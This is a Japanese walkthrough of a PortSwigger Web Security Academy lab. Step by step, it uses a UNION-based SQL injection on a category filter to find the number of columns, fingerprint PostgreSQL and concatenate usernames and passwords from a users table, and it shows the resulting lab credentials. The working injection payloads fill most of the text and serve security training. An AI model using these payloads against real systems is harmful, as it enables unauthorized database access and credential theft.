SQL injection 20 / 51 LAB6

UNION attack: 単一カラムから複数値を取得

前提:「カテゴリー」パラメータにSQLインジェクションが存在する。
データベースには users という別のテーブルが存在し、usernamepassword という列が含まれている。
ゴール:全ユーザー名とパスワードを取得後、管理者ユーザとしてログインする。

1.「Accessories」カテゴリーを選択した際の、デフォルトリクエスト・レスポンス

GET /filter?category=Accessories HTTP/2
Host: 0a3b008904c2a1458012c12c00fa006c.web-security-academy.net
Cookie: session=I2VjqBl4fx1HPfeyICzpTOAKOUbYO2fO
~省略~


HTTP/2 200 OK
~省略~
<tr><th>ZZZZZZ Bed - Your New Home Office</th><td><a class="button is-small" href="/product?productId=5">View details</a></td></tr>
~省略~

4行2列である。

2. SQLインジェクションの存在確認。' = %27 の入力

GET /filter?category=Accessories%27 HTTP/2
~省略~
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27%27 HTTP/2
~省略~
HTTP/2 200 OK
GET /filter?category=Accessories%27%27%27 HTTP/2
~省略~
HTTP/2 500 Internal Server Error

レスポンスに差異が出ることから、' = %27 がSQL文として解釈されており SQLインジェクションがあると判定。

3. UNION と null での列数推定

GET /filter?category=Accessories%27union+select+null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,null-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27union+select+null,null,null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27order+by+1-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+2-- HTTP/2
HTTP/2 200 OK
GET /filter?category=Accessories%27order+by+3-- HTTP/2
HTTP/2 500 Internal Server Error

よって、DB上も2列。しかしながら、文字列型を出力できるのは2列目のみである。

GET /filter?category=Accessories%27union+select+'a',null-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+'a','a'-- HTTP/2
HTTP/2 500 Internal Server Error
GET /filter?category=Accessories%27union+select+null,'a'-- HTTP/2
HTTP/2 200 OK

4. DB情報の出力

GET /filter?category=Accessories%27union+select+null,@@version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

よって、MySQLやMicrosoft SQL ではない。

GET /filter?category=Accessories%27union+select+null,version()-- HTTP/2
~省略~

HTTP/2 200 OK
<tr><th>PostgreSQL 12.22 (Ubuntu 12.22-0ubuntu0.20.04.4) on x86_64-pc-linux-gnu, compiled by gcc (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0, 64-bit</th></tr>
~省略~

よって、PostgreSQLである。

ちなみに、Oracleでもない。

GET /filter?category=Accessories%27union+select+null,version+from+v$instance-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~
GET /filter?category=Accessories%27union+select+banner,null+from+v$version-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

5. ユーザ名とパスワードの出力

前提として、DB内に usersテーブル及び username password カラムが存在すると分かっている。
この2列分を出力する必要があるが合体前の表で利用できるのは2列目だけであるため、元の2列を連結演算子 || で1列にする。区切り文字は : とした。

GET /filter?category=%27union+select+null,username||%27:%27||password+from+users-- HTTP/2
~省略~


HTTP/2 200 OK
~省略~
<tr><th>wiener:gi8yg9w7p4netrkyno0q</th></tr>
<tr><th>administrator:780vkuekqztxt2p7xw26</th></tr>
<tr><th>carlos:7ma74ggjfbw4dh85mtgr</th></tr>
~省略~

失敗例も確認。2列のままで合体させようとするとエラーとなる。

GET /filter?category=%27union+select+username,password+from+users-- HTTP/2
~省略~

HTTP/2 500 Internal Server Error
~省略~

管理者ユーザのIDとパスワードも分かるため、ログイン画面からログインすれば完了。

/* -----codeの行番号----- */